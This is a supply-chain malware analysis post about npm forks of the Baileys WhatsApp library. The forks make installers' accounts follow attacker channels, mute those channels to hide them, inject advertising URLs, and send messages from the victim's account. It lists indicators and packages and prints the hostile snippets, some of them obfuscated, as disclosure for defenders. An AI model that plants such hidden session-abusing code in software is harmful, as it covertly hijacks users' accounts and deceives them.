Baileys npm forks farm WhatsApp Channel followers

Kunal Singh7 min read

Summary

Update (October 27, 2026): The campaign is still active. New malicious packages continue to appear on npm under names that do not contain baileys. A new example is charape, with four versions (1.0.0 to 1.0.3). The impacted packages list now includes them.

Forks of Baileys(opens in new tab), the popular WhatsApp Web library, silently make the installer’s WhatsApp account follow channels the package author controls. Some forks also inject the author’s advertising URL into media the bot sends. One fork sends a message from the installer’s account and then blocks the bot. This is non-consensual social abuse shipped through npm. It is not credential theft.

Continuous monitoring of the npm registry records 4,250 package names that contain baileys and another 112 that contain libsignal-node. The set includes the upstream library, legitimate forks, mirrors, and many packages no one has examined. This post lists only the packages confirmed as malicious in this campaign: 83 package names built on Baileys across 379 versions, and 15 libsignal-node impersonators across 38 versions. Everything outside that confirmed set remains unverified, not cleared as safe. The confirmed count is a lower bound, and the campaign keeps growing.

Impact:

  • A silent, non-consensual follow of attacker-owned WhatsApp channels, using the installer’s account
  • A remotely controlled follow list, with each channel muted to hide the subscription (lupy4u)
  • The author’s advertising URL injected into every image and video the bot sends (mamz-baileys)
  • Forged channel attribution added to the installer’s outgoing messages (@cikikomo/baileys)
  • A message sent from the installer’s account, then an error that blocks the bot (@prototypevip/baileys)

Indicators of Compromise (IoC):

  • npm publishers: prototype1006, cikikomo, neykoor, mamzhandsome, lupy4u, diezyyasha
  • Maintainer emails: aqua193728@gmail.com, aryoagung321@gmail.com, chinquepapa@gmail.com, mamzstoreee@gmail.com, myluppy46@gmail.com, begalwkwk@gmail.com
  • Advertising URL injected into media: hxxps://fiora[.]nixel[.]my[.]id/ (mamz-baileys)
  • Remote follow-list source: hxxps://raw[.]githubusercontent[.]com/LevviCodeID/Levi4than/refs/heads/main/levvleys.json (lupy4u)
  • Newsletter channel identifiers: 120363401404146384@newsletter (@neykoor), 120363426628484388@newsletter (@cikikomo), 120363406881628130@newsletter (mamz-baileys, shared with diezyyasha-baileys)
  • lupy4u control repository: GitHub LevviCodeID/Levi4than (lupy4u pulls its follow list from levvleys.json there); operator site levvicode[.]cloud

Part 1: The campaign and impacted packages

Why Baileys is a target

Baileys is a WhatsApp Web multi-device library for Node.js. Developers use it to build WhatsApp bots.

These forks target the authenticated session. A paired session can send messages, follow channels, and read chats as the account holder. An attacker who controls the session controls the account.

Recent packages

These packages are the examples analysed here. Source review covers all but one. npm removed @diezyyasha/libsignal-node before analysis, so that row reflects public reports only.

Impacted packages

A package appears here only after a confirmed malicious verdict. The first list covers packages built on Baileys. The second covers libsignal-node impersonators, including the import-time patcher.

baileys-packages-list.csv
Rowecosystemnameversion
1ECOSYSTEM_NPMcharape1.0.3
2ECOSYSTEM_NPMcharape1.0.2
3ECOSYSTEM_NPMcharape1.0.1
4ECOSYSTEM_NPMcharape1.0.0
5ECOSYSTEM_NPM@kofoffc/baileys0.0.4
6ECOSYSTEM_NPM@kofoffc/baileys0.0.3
7ECOSYSTEM_NPM@neykoor/baileys7.0.16-rc15
8ECOSYSTEM_NPM@neykoor/baileys7.0.15-rc15
9ECOSYSTEM_NPM@neykoor/baileys7.0.14-rc15
10ECOSYSTEM_NPM@prototypevip/baileys0.0.1
11ECOSYSTEM_NPM@prototypevip/baileys0.0.4
12ECOSYSTEM_NPM@cikikomo/baileys1.0.11
13ECOSYSTEM_NPM@cikikomo/baileys1.0.10
14ECOSYSTEM_NPM@cikikomo/baileys1.0.9
15ECOSYSTEM_NPM@cikikomo/baileys1.0.8
16ECOSYSTEM_NPM@cikikomo/baileys1.0.7
17ECOSYSTEM_NPM@cikikomo/baileys1.0.6
18ECOSYSTEM_NPMynastore-baileys1.0.21
19ECOSYSTEM_NPMsantana-baileys2.0.4
20ECOSYSTEM_NPMdiezyyasha-baileys9.1.2
379 rows · showing first 203 columns
baileys-libsignal-packages.csv
Rowecosystemnameversion
1ECOSYSTEM_NPM@diezyyasha/libsignal-node2.2.8
2ECOSYSTEM_NPM@vinnxcode/libsignal-node1.0.1
3ECOSYSTEM_NPM@vinnxcode/libsignal-node1.0.0
4ECOSYSTEM_NPMlibsignal-node-travatiger1.0.1
5ECOSYSTEM_NPMlibsignal-node-travatiger1.0.0
6ECOSYSTEM_NPM@dgxeon13/libsignal-node1.0.0
7ECOSYSTEM_NPM@zizie071/libsignal-node3.4.6
8ECOSYSTEM_NPM@zizie071/libsignal-node3.3.6
9ECOSYSTEM_NPM@hanssoft/libsignal-node3.0.4
10ECOSYSTEM_NPM@shennmine/libsignal-node2.2.6
11ECOSYSTEM_NPM@shennmine/libsignal-node2.2.5
12ECOSYSTEM_NPM@than-xs/libsignal-node2.0.5
13ECOSYSTEM_NPM@sanzxcode/libsignal-node2.2.5
14ECOSYSTEM_NPM@shenira/libsignal-node2.2.5
15ECOSYSTEM_NPM@shenira/libsignal-node2.2.4
16ECOSYSTEM_NPM@dgxeon/libsignal-node1.0.1
17ECOSYSTEM_NPM@shennmine/libsignal-node2.2.4
18ECOSYSTEM_NPM@shennmine/libsignal-node2.2.3
19ECOSYSTEM_NPM@shennmine/libsignal-node2.2.2
20ECOSYSTEM_NPM@shennmine/libsignal-node2.2.1
38 rows · showing first 203 columns

Each package is a different npm account with a different email. Most follow different channels. The verified evidence does not show that one operator controls all of them. The packages overlap in one place. mamz-baileys follows 120363406881628130@newsletter. A record for the removed diezyyasha-baileys lists the same channel. Apart from this overlap, the packages share only the forced-follow technique. The evidence points to independent operators that reuse the same technique.

How the follow evolved

The forced follow appears in three forms across the packages, from a fixed target to a remotely controlled list.

  1. Fixed target. @neykoor/baileys follows one hardcoded channel on every connection open.
  2. Covert attribution. mamz-baileys follows a fixed channel and also injects an obfuscated advertising URL into every media message.
  3. Remote control and concealment. lupy4u fetches its target list from a public GitHub file, follows each channel, and then mutes it. The operator changes targets without republishing, and the mute hides the subscription from the account owner.

@prototypevip/baileys is different. It abuses the same authenticated session, but to send a message from the installer and block the bot.

Part 2: technical analysis

The common technique

All confirmed packages act through the installer’s authenticated session. They do not steal a static secret such as a token. The differences are which action they take and how the code reaches the session.

Forced follow of an attacker channel

@neykoor/baileys@7.0.16-rc15 follows a hardcoded channel on every connection. The implant sits in lib/Socket/newsletter.js.

// lib/Socket/newsletter.js (@neykoor/baileys@7.0.16-rc15)
const AUTO_FOLLOW_JID = '120363401404146384@newsletter';
ev.on('connection.update', async ({ connection }) => {
  if (connection === 'open') {
    try {
      const followed = await isFollowingNewsletter(AUTO_FOLLOW_JID);
      if (!followed) {
        await executeWMexQueryIgnoreResponse({ newsletter_id: AUTO_FOLLOW_JID }, QueryIds.FOLLOW);
      }
    } catch {}
  }
});

Three properties make it deliberate. It binds to an automatic lifecycle event that no bot developer calls, discards the response with a fire-and-forget query, and hides every error with an empty catch. The pre-check keeps it silent on later reconnects. The socket chain shows the code reaches the listener at runtime. makeWASocket builds down through messages-send.js, which calls makeNewsletterSocket, which registers this listener.

A remotely controlled follow list

lupy4u@4.5.6 moves the target list off the package and onto the network. autoJoinChannels() in lib/Socket/newsletter.js fetches a JSON file from GitHub, then follows and mutes each channel it returns.

// lib/Socket/newsletter.js (lupy4u@4.5.6)
const autoJoinChannels = async () => {
  const res = await fetch('https://raw.githubusercontent.com/LevviCodeID/Levi4than/refs/heads/main/levvleys.json');
  const ids = await res.json();
  for (const id of ids) {
    if (typeof id !== 'string' || !id.endsWith('@newsletter')) continue;
    await newsletterWMexQuery(id, QueryIds.FOLLOW);
    await new Promise((r) => setTimeout(r, 3000));
    await newsletterWMexQuery(id, QueryIds.MUTE);
  }
};
sock.ev.on('connection.update', ({ connection }) => {
  if (connection !== 'open') return;
  setTimeout(() => autoJoinChannels(), 30000);
});

The list is remote, so the operator changes the targets without publishing a new version. The code pairs each follow with a mute, which stops the notification that would show the account owner the new subscription. It offers no opt-out and no consent prompt.

An advertising URL injected into media

mamz-baileys@8.6.62 adds a second behaviour on top of a forced follow. In lib/Socket/messages-send.js, at two sites, it sets a sourceUrl on the preview payload of every image and video the bot sends. It builds the URL from a character-code array rather than writing it as text.

// lib/Socket/messages-send.js (mamz-baileys@8.6.62), lines 425 and 436
// prettier-ignore
sourceUrl: String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 102, 105, 111, 114, 97, 46, 110, 105, 120, 101, 108, 46, 109, 121, 46, 105, 100, 47);
// decodes to https://fiora.nixel.my.id/

Every other URL in the file is a plain string. Only this one comes from character codes. The two forms behave the same at runtime, so the character codes serve only to keep the URL out of a text search. The author’s domain then rides on the media the installer sends to their own contacts.

Forged attribution on outgoing messages

@cikikomo/baileys@1.0.10 adds the operator’s channel attribution to the victim’s outgoing messages from lib/Socket/luxu.js.

// lib/Socket/luxu.js (@cikikomo/baileys@1.0.10)
forwardedNewsletterMessageInfo: {
    newsletterName: "CikiKomo",
    newsletterJid: "120363426628484388@newsletter",
    serverMessageId: 1
}

The same revision adds noSelfSync: true at four message-send sites. That flag suppresses syncing the sent message back to the victim’s own devices, which lowers the chance the account holder notices the injected attribution. The package advertises both the channel identifier and the noSelfSync flag in its own package.json description, so the concealment targets the victim, not the buyer of the fork.

Account block through an authorisation gate

@prototypevip/baileys@0.0.4 hides an authorisation gate in lib/Store/prototype-store.js. The file opens with a base64 string table and a one-line decoder.

// lib/Store/prototype-store.js (@prototypevip/baileys@0.0.4)
const _0x = [
  'Z2ludG9raQ==', // gintoki
  'dHlwZQ==', // type
  'bWQ=', // md
  'd3M=', // ws
  'c2VuZE1lc3NhZ2U=', // sendMessage
  'dXNlcg==', // user
  'amlk', // jid
  '2LrZitix...', // Arabic: "you are no longer authorized to use this bot"
];
const _d = (s) => Buffer.from(s, 'base64').toString('utf8');

The gate walks each message object, finds the live multi-device socket, and compares its key to the author’s own key gintoki. If the keys do not match, it sends an unauthorised-use notice from the victim’s account and throws to halt message handling.

// lib/Store/prototype-store.js (@prototypevip/baileys@0.0.4)
if (v[_d(_0x[1])] === _d(_0x[2]) && v[_d(_0x[3])]) {   // v.type === "md" && v.ws
  const _0s2 = _d(_0x[0]);                              // "gintoki"
  if (k !== _0s2 && _0xobj.ulid) {
    v[_d(_0x[4])](v[_d(_0x[5])]?.[_d(_0x[6])], {        // v.sendMessage(v.user?.jid, ...)
      text: _d(_0x[7]),
    });
    const _e = (s) => new Error(_d(s));
    throw _e("QmxvY2tlZA==");                           // "Blocked"
  }
  continue;
}

cloneM() wraps the gate and runs inside the messages.upsert listener, so it runs on every message the bot receives, not only at startup. A legitimate licence check has no reason to hide the word sendMessage behind base64. The author hid it on purpose.

  • malware
  • npm
  • supply-chain
  • whatsapp
  • adware

Author

Kunal Singh

Kunal Singh

safedep.io

Share

Ship Code.Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.